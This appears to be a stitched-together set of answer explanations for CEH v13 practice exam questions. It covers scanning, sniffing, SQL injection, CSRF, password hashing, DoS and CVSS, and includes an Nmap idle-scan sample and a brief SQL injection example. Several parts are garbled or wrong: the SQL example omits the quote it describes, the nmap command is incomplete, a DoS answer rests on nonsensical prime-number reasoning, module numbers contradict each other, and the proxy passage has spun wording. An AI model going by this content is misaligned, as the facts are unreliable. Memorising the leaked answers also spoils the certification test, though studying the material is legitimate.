NOTE: I want to note that the wording "best option" is valid only for the EC-Council's exam since the other options will not help against sniffing or will only help from some specific attack vectors.

The sniffing attack surface is huge. To protect against it, you will need to implement a complex of measures at all levels of abstraction and apply controls at the physical, administrative, and technical levels. However, encryption is indeed the best option of all, even if your data is intercepted - an attacker cannot understand it.

In CEH v13 Module 11: Hacking Wireless Networks, wireless standards and their transmission ranges are discussed.

Actual Range Specs:

802.11a: Operates at 5 GHz, range up to ~75 ft indoors, much less than 150 ft due to poor wall penetration.

802.11b/g: Operate at 2.4 GHz, typically 150–300 ft indoors.

802.16 (WiMax): Wireless MAN technology with range up to 30 miles — correct for point-to-point outdoor line of sight.

Conclusion:

802.11a listed as 150–150 ft is incorrect.

Realistic effective range is up to 75 ft indoors, depending on obstructions and interference.

This overestimation makes Option D the wrong one.

TCP Maimon scan

This scan technique is very similar to NULL, FIN, and Xmas scan, but the probe used here is

FIN/ACK. In most cases, to determine if the port is open or closed, the RST packet should be generated as a response to a probe request. However, in many BSD systems, the port is open if the packet gets dropped in response to a probe.

How Nmap interprets responses to a Maimon scan probe

Probe Response Assigned State

No response received (even after retransmissions) open|filtered

TCP RST packet closed

ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) filtered

Firewalls primarily operate at Layer 3 (Network) and Layer 4 (Transport) of the OSI model. They inspect:

IP headers (Layer 3)

TCP/UDP port numbers (Layer 4)

Application-specific data in Layer 7-aware firewalls (for application filtering)

By examining transport layer port numbers and application layer headers, firewalls can block or allow traffic based on services like HTTP (port 80), FTP (port 21), and others.

Reference – CEH v13 Official Study Guide:

Module 13: Evading IDS, Firewalls, and Honeypots

Quote:

“Firewalls filter traffic based on IP addresses, transport-layer port numbers, and application protocol headers to control access to services and applications.”

Incorrect Options:

B & C. Presentation and session layers are not relevant to firewall rule inspection.

D. Application layer doesn’t have port numbers; they are part of the transport layer.

===========

Promiscuous mode is a configuration for a network interface card (NIC) that allows it to pass all network traffic to the CPU for processing, not just the traffic addressed to that NIC. It is commonly used in:

Network sniffing and monitoring

Packet analysis tools like Wireshark

IDS/IPS systems

Reference – CEH v13 Official Study Guide:

Module 8: Sniffing

Quote:

“Promiscuous mode allows a NIC to capture all packets on the network segment, regardless of the destination MAC address.”

Incorrect Options:

A. Multicast mode handles group address traffic, not all frames

C. WEM is not a valid network mode term

D. Port forwarding redirects traffic to specific internal IPs

===========

Comprehensive and Detailed Explanation:

A rubber-hose attack refers to extracting cryptographic secrets by means of physical coercion, threats, or torture, rather than technical attacks on the algorithm or implementation.

From CEH v13 Official Study Guide:

Module 10: Cryptography → Types of Attacks

“A rubber-hose attack bypasses technical security by attacking the human element.”

Reconnaissance is the first phase of ethical hacking and also part of the cyber kill chain. It involves gathering publicly available information about a target, such as employee names, company structure, and branding, which is later used in social engineering or phishing attacks.

Reference – CEH v13 Official Study Guide:

Module 2: Footprinting and Reconnaissance

Quote:

“Reconnaissance involves gathering information from public sources such as websites, social networks, and press releases. This is used to craft targeted phishing messages or exploit organizational weaknesses.”

Incorrect Options Explained:

A & B. Not formal terms in ethical hacking.

D. Enumeration involves interacting with systems to extract technical data.

Passive sniffing refers to listening to or capturing network traffic without sending any packets or altering the communication stream. The attacker’s system operates in "promiscuous mode" to monitor all traffic flowing through the network segment. This technique is mostly used in environments like hub-based or unencrypted Wi-Fi networks, where traffic is visible to all systems.

According to the CEH v13 Official Courseware, Module 08: Sniffing, under the subsection "Passive Sniffing", the following capabilities are associated with passive sniffing:

Capturing unencrypted credentials (usernames and passwords)

Identifying protocols, services, IP addresses, and hostnames

Monitoring HTTP sessions, cookies, and other clear-text traffic

Gathering detailed information for fingerprinting and enumeration

Exporting traffic to PCAPs for forensic and offline analysis

However, passive sniffing does not involve any active interference with the traffic. Therefore, actions like “modifying and replaying” packets require an attacker to craft and inject packets into the network — this is considered active sniffing or traffic manipulation, which is out of scope for passive techniques.

Thus:

Option A: Valid for passive sniffing (host discovery via captured traffic)

Option B: Invalid for passive sniffing (requires active traffic manipulation)

Option C: Valid (if data is unencrypted)

Option D: Valid (captures traffic for offline review)

Reference – CEH v13 Official Courseware:

Module 08: Sniffing

Section: “Passive Sniffing vs Active Sniffing”

Study Guide Pages: Usually found under “Types of Sniffing Techniques”

CEH iLabs/Engage Scenarios: Packet capture and Wireshark lab modules

CEH v13 explains that multi-vector DDoS attacks, especially those combining volumetric reflection (DNS amplification) with application-layer exhaustion (Slowloris), require multi-layered mitigation. Standard firewalls and IPS devices cannot handle large-scale distributed attacks without causing collateral damage to legitimate traffic. CEH emphasizes the need for hybrid DDoS protection, combining on-premises appliances for real-time local filtering with cloud-based scrubbing centers capable of absorbing massive volumetric floods. Cloud scrubbing removes malicious traffic upstream, while on-prem devices mitigate application-layer anomalies. Increasing bandwidth (Option A) is ineffective against reflection attacks. IPS (Option B) cannot handle Slowloris-style partial requests at scale. Blocking all external DNS/HTTP (Option C) would deny service to legitimate users. The correct CEH-aligned solution is hybrid DDoS mitigation services.

Whaling is an advanced social engineering technique that targets high-profile individuals, such as executives, managers, or celebrities, by impersonating them or someone they trust, such as a colleague, partner, or vendor. The attacker creates a fake Linkedin profile, pretending to be a high-ranking official from a well-established company, and uses it to connect with other employees within the organization. The attacker then leverages the trust and authority of the fake profile to gain access to exclusive corporate events and proprietary project details shared within the network. This way, the attacker can launch targeted attacks against the organization, such as stealing sensitive data, compromising systems, or extorting money.

The most likely immediate threat to the organization is the loss of confidential information and intellectual property, which can damage the organization’s reputation, competitiveness, and profitability. The attacker can also use the information to launch further attacks, such as ransomware, malware, or sabotage, against the organization or its partners and customers.

The other options are not as accurate as whaling for describing this scenario. Pretexting is a social engineering technique that involves creating a false scenario or identity to obtain information or access from a victim. However, pretexting usually involves direct communication with the victim, such as a phone call or an email, rather than creating a fake Linkedin profile and connecting with the victim’s network. Spear phishing is a social engineering technique that involves sending a personalized and targeted email to a specific individual or group, usually containing a malicious link or attachment. However, spear phishing does not involve creating a fake Linkedin profile and connecting with the victim’s network. Baiting and involuntary data leakage are not social engineering techniques, but rather possible outcomes of social engineering attacks. Baiting is a technique that involves offering something enticing to the victim, such as a free download, a gift card, or a job opportunity, in exchange for information or access. Involuntary data leakage is a situation where the victim unintentionally or unknowingly exposes sensitive information to the attacker, such as by clicking on a malicious link, opening an infected attachment, or using an unsecured network. References:

Whaling: What is a whaling attack?

Advanced Social Engineering Attack Techniques

Top 8 Social Engineering Techniques and How to Prevent Them

Open-source intelligence (OSINT) refers to the process of collecting and analyzing information from publicly available sources. This can include social media, websites, press releases, job boards, government databases, and more.

OSINT is a crucial part of the reconnaissance phase in ethical hacking and penetration testing, where attackers or analysts gather intel without directly interacting with the target system.

Reference – CEH v13 Official Study Guide:

Module 2: Footprinting and Reconnaissance

Quote:

“OSINT is derived from public sources and includes blogs, websites, public records, and social networks. It helps attackers or analysts understand the target’s digital footprint.”

Incorrect Options Explained:

B. “Real intelligence” is not a cybersecurity term.

C. Social intelligence refers to interpersonal awareness, not cyber reconnaissance.

D. Human intelligence (HUMINT) involves person-to-person intel, not publicly available data.

===========

LAN Manager (LM) hashes use the DES (Data Encryption Standard) algorithm to hash passwords. Here's how LM hashing works:

The password is converted to uppercase and padded/truncated to 14 characters.

Split into two 7-character halves.

Each half is used as a DES key to encrypt a constant string ("KGS!@#$%")—resulting in a 16-byte LM hash.

From CEH v13 Courseware:

Module 6: Malware Threats

Topic: Windows Password Storage & Cracking

CEH v13 Study Guide states:

“LM hashes use the DES encryption algorithm to create password hashes. Due to this method, they are highly vulnerable to brute-force attacks, particularly because they split the password into two 7-character blocks.”

Incorrect Options:

A: MD4 is used in NTLM hashes.

C: SHA is not used in LM.

D: SSL is a transport security protocol, not a hashing algorithm.

Error-based SQL Injection is a type of in-band SQL Injection attack that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database.

The ethical hacker is likely to use this type of SQL Injection attack because the application responds to logically incorrect queries with detailed error messages that divulge the underlying database’s structure. This means that the attacker can craft malicious SQL queries that trigger errors and reveal information such as table names, column names, data types, etc. The attacker can then use this information to construct more complex queries that extract data from the database.

For example, if the application uses the following query to display the username of a user based on the user ID:

SELECT username FROM users WHERE id = '$id'

The attacker can inject a single quote at the end of the user ID parameter to cause a syntax error:

SELECT username FROM users WHERE id = '1'

The application might display an error message like this:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

This error message reveals that the database server is MySQL and that the user ID parameter is enclosed in single quotes. The attacker can then use other techniques such as UNION, subqueries, or conditional statements to manipulate the query and retrieve data from other tables or columns.

DHCP starvation is a network-level attack in which an attacker sends a massive number of DHCPDISCOVER requests, each appearing to originate from a different MAC address. CEH courseware explains that DHCP servers assign IP leases based on unique MAC addresses, and when the lease pool is exhausted, legitimate clients are unable to obtain valid IP configurations. This disrupts network connectivity and can serve as a precursor to deploying a rogue DHCP server, enabling further attacks such as traffic redirection or credential interception. DHCP starvation is different from ARP spoofing, which manipulates MAC–IP mappings, or DNS poisoning, which corrupts domain resolution. Rogue DHCP relay attacks involve forwarding DHCP packets to unauthorized servers, not depleting leases. The scenario described—rapid MAC address spoofing and exhaustion of DHCP leases—matches the precise definition of DHCP starvation as documented in CEH materials.

Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones, PDAs or laptop computers, sending a vCard which typically contains a message in the name field (i.e., for bluedating or bluechat) to another Bluetooth-enabled device via the OBEX protocol.

Bluejacking is usually harmless, but because bluejacked people generally don't know what has happened, they may think that their phone is malfunctioning. Usually, a bluejacker will only send a text message, but with modern phones it's possible to send images or sounds as well. Bluejacking has been used in guerrilla marketing campaigns to promote advergames.

Bluejacking is also confused with Bluesnarfing, which is the way in which mobile phones are illegally hacked via Bluetooth.

Comprehensive and Detailed Explanation:

The correct file name is /var/log/auth.log (not auth.fesg). “auth.fesg” is a typo or does not exist by default in Linux systems.

Linux login records include:

/var/log/auth.log – authentication logs

/var/log/wtmp – records login sessions

/var/log/btmp – records failed logins

/var/log/user.log – logs user-level messages (optional)

Therefore, B is not a valid log file.

From CEH v13 Courseware:

Module 6: System Hacking → Covering Tracks in Linux

Spanning Tree Protocol (STP) manipulation attacks involve an attacker injecting BPDUs (Bridge Protocol Data Units) to force a switch to recognize the attacker’s system as the root bridge. Once this is achieved, the attacker can:

Redirect traffic through their own machine

Create a SPAN (Switched Port Analyzer) session to mirror traffic

Intercept, sniff, or modify data passing through the network

This is typically the next logical step in an STP attack to facilitate a Man-in-the-Middle (MITM) position.

Reference – CEH v13 Official Study Guide:

Module 8: Sniffing

Quote:

“An attacker who becomes the root bridge using STP manipulation can redirect traffic and use SPAN ports to mirror traffic to their system for analysis or manipulation.”

Incorrect Options:

B. OSPF is a Layer 3 routing protocol, not relevant here.

C. DoS is not the goal of this specific attack.

D. Attacking all switches is inefficient and unnecessary once root access is gained.

===========

A Network-based Intrusion Detection System (NIDS) monitors all network traffic for signs of suspicious activity across multiple hosts. In large environments with critical assets (e.g., financial or healthcare networks), NIDS is ideal because it provides visibility into entire network segments, not just individual systems.

NIDS can be deployed at strategic points (e.g., DMZs, VLANs, subnets) to detect unauthorized access, malware activity, or policy violations.

Reference – CEH v13 Official Courseware:

Module 13: Evading IDS, Firewalls, and Honeypots

Quote:

“Network-based IDS monitors traffic across an entire subnet or segment and is most effective in large environments to detect malicious activity before it reaches critical assets.”

Incorrect Options Explained:

A. Honeypots attract and log attacker behavior, but do not provide network-wide detection.

B. Firewalls filter traffic but are not detection systems.

D. HIDS monitors activity on a single host only.

===========

In CEH v13 Module 14: Cryptography, Serpent is detailed as one of the finalists in the Advanced Encryption Standard (AES) competition, known for its strong security characteristics.

Key Features of Serpent:

128-bit block size, and key sizes of 128, 192, or 256 bits.

Uses 32 rounds of substitution and permutation.

Operates on four 32-bit words per block.

Employs 8 different S-boxes, each with a 4-bit input and 4-bit output.

Designed to provide high security and resistance against differential cryptanalysis.

Option Clarification:

A. TEA: Uses a Feistel structure with simple operations, but not 32 rounds with S-boxes.

B. CAST-128: Has 64-bit block size and fewer rounds.

C. RC5: Variable block and key sizes but doesn’t use 32 rounds with fixed S-box design.

D. Serpent: Matches all given features.

Active Online Attacks: Hash Injection/Pass-the-Hash (PtH) Attack A hash injection/PtH attack allows an attacker to inject a compromised hash into a local session and use the hash to validate network resources The attacker finds and extracts a logged-on domain admin account hash The attacker uses the extracted hash to log on to the domain controller

Cross-Site Request Forgery (CSRF) is covered in CEH v13 Module 12: Hacking Web Applications. It occurs when an attacker tricks a victim’s browser into making unintended, authenticated requests to a web application where the victim is already logged in.

Example:

User logs in to a banking site.

While logged in, the attacker sends the user a crafted link that submits a transaction via a hidden request.

Since the user’s session cookies are valid, the bank processes the request.

Why Other Options Are Incorrect:

A. Session hijacking: Steals session tokens but doesn’t involve forcing browser actions.

B. SSRF: Server sends a request to an internal service, not via user's browser.

D. XSS: Executes scripts in the user’s browser but doesn't force HTTP requests under the user’s identity.

The SOA (Start of Authority) record contains key DNS parameters, including TTL (Time To Live). The components of an SOA record are in this order:

(domain) IN SOA (Primary Name Server) (Responsible party) (Serial) (Refresh) (Retry) (Expire) (Minimum TTL)

Given:

Rutgers.edu. SOA NS1.Rutgers.edu ipad.college.edu (200302028 3600 3600 604800 2400.)

Field breakdown:

Serial: 200302028

Refresh: 3600 seconds

Retry: 3600 seconds

Expire: 604800 seconds

Minimum TTL: 2400 seconds ← This is the TTL value

From CEH v13 Courseware:

Module 3: Scanning Networks

Topic: DNS Enumeration and Zone Transfers

Subsection: Understanding DNS Records

CEH v13 Study Guide states:

“In an SOA record, the last value is the Minimum TTL — the amount of time other DNS servers should cache resource records for the zone.”

Incorrect Options:

A: Serial number

B: Refresh interval

C: Expiry interval

E/F: Arbitrary, not part of the SOA shown

The best measure to prevent similar attacks without overly restricting the use of personal devices is to conduct regular cybersecurity awareness training, focusing on phishing attacks. Cybersecurity awareness training is a process of educating and empowering employees on the best practices and behaviors to protect themselves and the organization from cyber threats, such as phishing, malware, ransomware, or data breaches. Cybersecurity awareness training can help the organization mitigate the risk of phishing incidents by providing the following benefits12:

It can increase the knowledge and skills of employees on how to identify and avoid phishing emails, messages, or links, such as by checking the sender, the subject, the content, the attachments, and the URL of the message, and by verifying the legitimacy and authenticity of the message before responding or clicking.

It can enhance the attitude and culture of employees on the importance and responsibility of cybersecurity, such as by encouraging them to report any suspicious or malicious activity, to follow the security policies and guidelines, and to seek help or guidance when in doubt or trouble.

It can reduce the human error and negligence that are often the main causes of phishing incidents, such as by reminding employees to update their devices and applications, to use strong and unique passwords, to enable multi-factor authentication, and to backup their data regularly.

The other options are not as optimal as option D for the following reasons:

A. Provide employees with corporate-owned devices for work-related tasks: This option is not feasible because it contradicts the BYOD policy, which allows employees to use their personal devices for work-related tasks. Providing employees with corporate-owned devices would require the organization to incur additional costs and resources, such as purchasing, maintaining, and securing the devices, as well as training and supporting the employees on how to use them. Moreover, providing employees with corporate-owned devices would not necessarily prevent phishing incidents, as the devices could still be compromised by phishing emails, messages, or links, unless the organization implements strict security controls and policies on the devices, which may limit the user autonomy and productivity3.

B. Implement a mobile device management solution that restricts the installation of non-approved applications: This option is not desirable because it violates the user autonomy and privacy under the BYOD policy, which allows employees to use their personal devices for both personal and professional purposes. Implementing a mobile device management solution that restricts the installation of non-approved applications would require the organization to monitor and control the devices of the employees, which may raise legal and ethical issues, such as data ownership, consent, and compliance. Furthermore, implementing a mobile device management solution that restricts the installation of non-approved applications would not completely prevent phishing incidents, as the employees could still receive phishing emails, messages, or links through the approved applications, unless the organization implements strict security controls and policies on the applications, which may affect the user experience and functionality4.

C. Require all employee devices to use a company-provided VPN for internet access: This option is not sufficient because it does not address the root cause of phishing incidents, which is the human factor. Requiring all employee devices to use a company-provided VPN for internet access would provide the organization with some benefits, such as encrypting the network traffic, hiding the IP address, and bypassing geo-restrictions. However, requiring all employee devices to use a company-provided VPN for internet access would not prevent phishing incidents, as the employees could still fall victim to phishing emails, messages, or links that lure them to malicious websites or applications, unless the organization implements strict security controls and policies on the VPN, which may affect the network performance and reliability.

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.

Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

STARTTLS is an SMTP command that allows the client to upgrade an existing insecure connection to a secure, encrypted TLS connection. It is widely supported by SMTP servers and used to protect email transmissions from interception.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Section: Secure Email Communication

Quote:

“STARTTLS is an SMTP command used to initiate encryption on an existing plaintext connection using TLS.”

Incorrect Options:

A. Opportunistic TLS is a concept, not a command

B & C. UPGRADETLS and FORCETLS are not valid SMTP commands

Once a suitable zombie has been found, performing a scan is easy. Simply specify the zombie hostname to the -sI option and Nmap does the rest. Example 5.19 shows an example of Ereet scanning the Recording Industry Association of America by bouncing an idle scan off an Adobe machine named Kiosk.

Example 5.19. An idle scan against the RIAA

# nmap -Pn -p-

Starting Nmap

Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental

Nmap scan report for 208.225.90.120

(The 65522 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp

25/tcp     open        smtp

80/tcp     open        http

111/tcp    open        sunrpc

135/tcp    open        loc-srv

443/tcp    open        https

1027/tcp   open        IIS

1030/tcp   open        iad1

2306/tcp   open        unknown

5631/tcp   open        pcanywheredata

7937/tcp   open        unknown

7938/tcp   open        unknown

36890/tcp  open        unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds

A Denial of Service (DoS) attack is a type of cyberattack that aims to make a machine or network resource unavailable to its intended users by flooding it with traffic or requests that consume its resources. A TCP SYN flood attack is a type of DoS attack that exploits the TCP handshake process by sending a large number of SYN requests to the target server, without completing the connection. A UDP flood attack is a type of DoS attack that sends a large number of UDP packets to random ports on the target server, forcing it to check for the application listening at that port and reply with an ICMP packet. An ICMP flood attack is a type of DoS attack that sends a large number of ICMP packets, such as ping requests, to the target server, overwhelming its ICMP processing capacity.

The attacker’s strategy involves a unique mixture of TCP SYN, UDP, and ICMP floods, using ‘r’ packets per second. The server can handle ‘h’ packets per second before it starts showing signs of strain. If ‘r’ surpasses ‘h’, it overwhelms the server, causing it to become unresponsive. The attacker selects ‘r’ as a composite number and ‘h’ as a prime number, making the attack detection more challenging. This is because prime numbers are less predictable and more difficult to factorize than composite numbers, which may hinder the analysis of the attack pattern.

Considering ‘r=2010’ and different values for ‘h’, the scenario that would potentially cause the server to falter is the one where ‘h=1987’ (prime). This is because ‘r’ is greater than ‘h’ by 23 packets per second, which means the server cannot handle the incoming traffic and will eventually run out of resources. The other scenarios would not cause the server to falter, as ‘h’ is either greater than or very close to ‘r’, which means the server can either manage or barely cope with the incoming traffic. References:

What is a denial-of-service (DoS) attack? | Cloudflare

Denial-of-Service (DoS) Attack: Examples and Common Targets - Investopedia

DDoS Attack Types: Glossary of Terms

What is a Denial of Service (DoS) Attack? | Webopedia

Google hacking or Google

It is a hacker technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites are using. Google dorking could also be used for OSINT.

Search

Google’s search engine has its own built-in query language. The following list of queries can be run to find a list of files, find information about your competition, track people, get information about SEO backlinks, build email lists, and of course, discover web vulnerabilities.

- [site:] - Search within a specific website

Internet of Medical Things (IoMT) devices are internet-connected medical devices that can collect, transfer, and analyze data over a network. They can provide improved patient care and comfort, but they also pose security challenges and risks, as they can be targeted by cyberattacks, such as ransomware, that can compromise their functionality, integrity, or confidentiality. Ransomware is a type of malware that encrypts the victim’s data or system and demands a ransom for its decryption or restoration. Ransomware attacks can cause serious harm to healthcare organizations, as they can disrupt their operations, endanger their patients, and damage their reputation.

To protect IoMT devices from ransomware attacks, the main recommendation is to use network segmentation to isolate IoMT devices from the main network. Network segmentation is a technique that divides a network into smaller subnetworks, each with its own security policies and controls. Network segmentation can prevent or limit the spread of ransomware from one subnetwork to another, as it restricts the communication and access between them. Network segmentation can also improve the performance, visibility, and manageability of the network, as it reduces the network congestion, complexity, and noise.

The other options are not as effective or feasible as network segmentation. Implementing multi-factor authentication for all IoMT devices may not be possible or practical, as some IoMT devices may not support or require user authentication, such as sensors or monitors. Disabling all wireless connectivity on IoMT devices may not be desirable or realistic, as some IoMT devices rely on wireless communication protocols, such as Wi-Fi, Bluetooth, or Zigbee, to function or transmit data. Regularly changing the IP addresses of all IoMT devices may not prevent or deter ransomware attacks, as ransomware can target devices based on other factors, such as their domain names, MAC addresses, or vulnerabilities. References:

What Is Internet of Medical Things (IoMT) Security?

5 Steps to Secure Internet of Medical Things Devices

Ransomware in Healthcare: How to Protect Your Organization

[Network Segmentation: Definition, Benefits, and Best Practices]

A salt is random data that is used as an additional input to a one-way function that hashes data, a password, or passphrase. Salts are used to safeguard passwords in storage. Historically a password was stored in plaintext on a system, but over time additional safeguards were developed to protect a user's password against being read from the system. A salt is one of those methods.

A new salt is randomly generated for each password. In a typical setting, the salt and the password (or its version after key stretching) are concatenated and processed with a cryptographic hash function, and the output hash value (but not the original password) is stored with the salt in a database. Hashing allows for later authentication without keeping and therefore risking exposure of the plaintext password in the event that the authentication data store is compromised.

Salts defend against a pre-computed hash attack, e.g. rainbow tables. Since salts do not have to be memorized by humans they can make the size of the hash table required for a successful attack prohibitively large without placing a burden on the users. Since salts are different in each case, they also protect commonly used passwords, or those users who use the same password on several sites, by making all salted hash instances for the same password different from each other.

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

CSRF occurs when a vulnerable application processes unauthorized state-changing requests because it does not verify whether the request was intentionally initiated by the authenticated user. CEH v13 explains that exploitation involves tricking a logged-in user into unknowingly executing a crafted HTTP request—usually via a malicious webpage, hidden form submission, embedded image tag, or JavaScript trigger. When the victim visits the attacker-controlled page, the browser automatically includes the user’s active session cookies, allowing the server to treat the forged request as legitimate. This technique is central to CSRF attacks and is highlighted in the CEH curriculum as the correct exploitation path. Directory traversal, SQL injection, and brute-force attacks target different vulnerabilities and do not exploit missing request authenticity validation. The key requirement for CSRF exploitation is user interaction via a malicious external resource, making option B the correct CEH-aligned method.

Whitelist validation (also known as allowlist validation) is a robust defensive strategy where only pre-approved input formats are accepted. This includes:

Restricting input to specific data types (e.g., integer, string)

Limiting size, format, or allowed characters

Accepting only expected values (e.g., country codes, age ranges)

This practice is highly effective in mitigating SQL injection and other input-based attacks.

Incorrect Options:

A. Output encoding prevents XSS by encoding output but doesn't validate input.

B. Enforcing least privilege is an access control principle.

D. Blacklist validation is less secure and attempts to block known bad inputs, which may be bypassed.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Input Validation and SQL Injection Mitigation”

Subsection: “Whitelist vs Blacklist Input Validation”

===========

A proxy server acts as a gateway between you and therefore the internet. It’s an intermediary server separating end users from the websites they browse. Proxy servers provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.

If you’re employing a proxy server, internet traffic flows through the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and forwards you the online page data so you’ll see the page in your browser.

A service-based solution offered by an auditing firm would be the most appropriate type of vulnerability assessment solution for the large e-commerce organization, given their requirements. A service-based solution is a type of vulnerability assessment that is performed by external experts who have the skills, tools, and experience to conduct a thorough and comprehensive analysis of the target system or network. A service-based solution can imitate the outside view of attackers, as the experts are not familiar with the internal details or configurations of the organization. A service-based solution can also perform well-organized inference-based testing, which is a type of testing that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. A service-based solution can scan automatically against continuously updated databases, as the experts have access to the latest security intelligence and threat feeds. A service-based solution can also support multiple networks, as the experts can use different techniques and tools to scan different types of networks, such as wired, wireless, cloud, or hybrid12.

The other options are not as appropriate as option B for the following reasons:

A. Inference-based assessment solution: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Inference-based testing is a testing method that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. Inference-based testing can be performed by service-based, product-based, or tree-based solutions, depending on the scope, objectives, and resources of the assessment3.

C. Tree-based assessment approach: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Tree-based testing is a testing method that uses a hierarchical structure to organize and prioritize the vulnerabilities based on their severity, impact, and exploitability. Tree-based testing can be performed by service-based, product-based, or inference-based solutions, depending on the scope, objectives, and resources of the assessment4.

D. Product-based solution installed on a private network: This option is a type of vulnerability assessment solution, but it may not meet all the requirements of the large e-commerce organization. A product-based solution is a type of vulnerability assessment that is performed by using software or hardware tools that are installed on the organization’s own network. A product-based solution can scan automatically against continuously updated databases, as the tools can be configured to download and apply the latest security updates and patches. However, a product-based solution may not imitate the outside view of attackers, as the tools may have limited access or visibility to the external network or the internet. A product-based solution may also not perform well-organized inference-based testing, as the tools may rely on predefined rules or signatures to detect and report vulnerabilities, rather than using logical reasoning and deduction. A product-based solution may also not support multiple networks, as the tools may be designed or optimized for a specific type of network, such as wired, wireless, cloud, or hybrid .

Comprehensive and Detailed Explanation:

In Windows SID structure:

RID 500 = Default Administrator

RID 501 = Guest Account

Therefore, “-501” at the end indicates Matthew is operating as the Guest user, which has very limited privileges. To gain full administrative control, he must escalate his privileges.

From CEH v13 Courseware:

Module 6: System Hacking → Privilege Escalation Techniques

In CEH v13 Module 05: System Hacking, and in lab-based exploitation exercises, this is a classic fuzzer for buffer overflow testing.

The script creates increasingly larger strings of "A" (50, 100, 150...).

These are passed as arguments to different vulnerable commands on the target service (127.0.0.1:9999).

The goal is to trigger a crash, typically when input exceeds buffer limits (i.e., buffer overflow).

This is part of exploit development to identify the offset and locate the instruction pointer overwrite (EIP overwrite).

CHNTPW (Change NT Password) is a Linux-based utility that allows attackers or administrators to:

Reset Windows user account passwords

Unlock disabled or locked user accounts

Remove password protection without knowing the original password

It works by editing the Windows SAM (Security Account Manager) file located in the Windows system directory.

Reference – CEH v13 Official Study Guide:

Module 5: System Hacking

Quote:

“CHNTPW is a tool that can reset or change passwords on Windows systems by directly editing the SAM database. It is commonly run from a Linux LiveCD.”

Incorrect Options:

A. John the Ripper is for cracking passwords, not resetting them directly.

B. SET (Social Engineering Toolkit) is for phishing and payloads, not password resets.

D. Cain & Abel is a password recovery tool for Windows but runs on Windows, not Linux.

===========

The Common Vulnerability Scoring System (CVSS) is a method used to supply a qualitative measure of severity for a vulnerability. CVSS consists of three metric groups: Base, Temporal, and Environmental. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A vector string represents the values of all the metrics as a block of text1

The Base metrics measure the intrinsic characteristics of a vulnerability, such as the attack vector, the attack complexity, the required privileges, the user interaction, the scope, and the impact on confidentiality, integrity, and availability. The Base score reflects the severity of a vulnerability assuming that there is no temporal information or context available1

The Temporal metrics measure the characteristics of a vulnerability that change over time, such as the exploit code maturity, the remediation level, and the report confidence. The Temporal score reflects the current state of a vulnerability and its likelihood of being exploited1

The Environmental metrics measure the characteristics of a vulnerability that depend on a specific implementation or environment, such as the security requirements, the modified base metrics, and the collateral damage potential. The Environmental score reflects the impact of a vulnerability on a particular organization or system1

In this scenario, the vulnerability has a Base score of 7, a Temporal score of 8, and an Environmental score of 5. This means that:

The vulnerability has a high severity based on its intrinsic characteristics, such as the attack vector, the attack complexity, the required privileges, the user interaction, the scope, and the impact on confidentiality, integrity, and availability. A Base score of 7 corresponds to a high severity rating according to the CVSS v3.0 specification1

The vulnerability has an increasing likelihood of exploitability over time based on its current state, such as the exploit code maturity, the remediation level, and the report confidence. A Temporal score of 8 is higher than the Base score of 7, which indicates that the vulnerability is more likely to be exploited as time passes1

The vulnerability has a medium impact on the specific environment or implementation based on the security requirements, the modified base metrics, and the collateral damage potential. An Environmental score of 5 is lower than the Base score of 7, which indicates that the vulnerability is less impactful in the particular context of the organization or system1

Therefore, the statement that best describes this scenario is: The vulnerability has an overall high severity, the likelihood of exploitability is increasing over time, and it has a medium impact in their specific environment.

The base metric represents the inherent qualities of a vulnerability, according to the Common Vulnerability Scoring System (CVSS). CVSS is a framework that numerically characterizes the severity of software vulnerabilities between the range of 0-10. CVSS consists of three metric groups: Base, Temporal, and Environmental. The base metric group captures the characteristics of a vulnerability that are constant over time and across user environments. The base metric group consists of six sub-metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and Impact. The impact sub-metric further consists of three sub-metrics: Confidentiality, Integrity, and Availability. The base metric group produces a score ranging from 0 to 10, which reflects the intrinsic and fundamental properties of a vulnerability12.

The other options are not correct for the following reasons:

A. Temporal metric represents the inherent qualities of a vulnerability: This option is incorrect because the temporal metric group captures the characteristics of a vulnerability that change over time due to events external to the vulnerability. The temporal metric group consists of three sub-metrics: Exploit Code Maturity, Remediation Level, and Report Confidence. The temporal metric group modifies the base score to reflect the current state of the vulnerability, such as the availability of exploit code, the existence of patches or workarounds, and the degree of verification of the vulnerability report12.

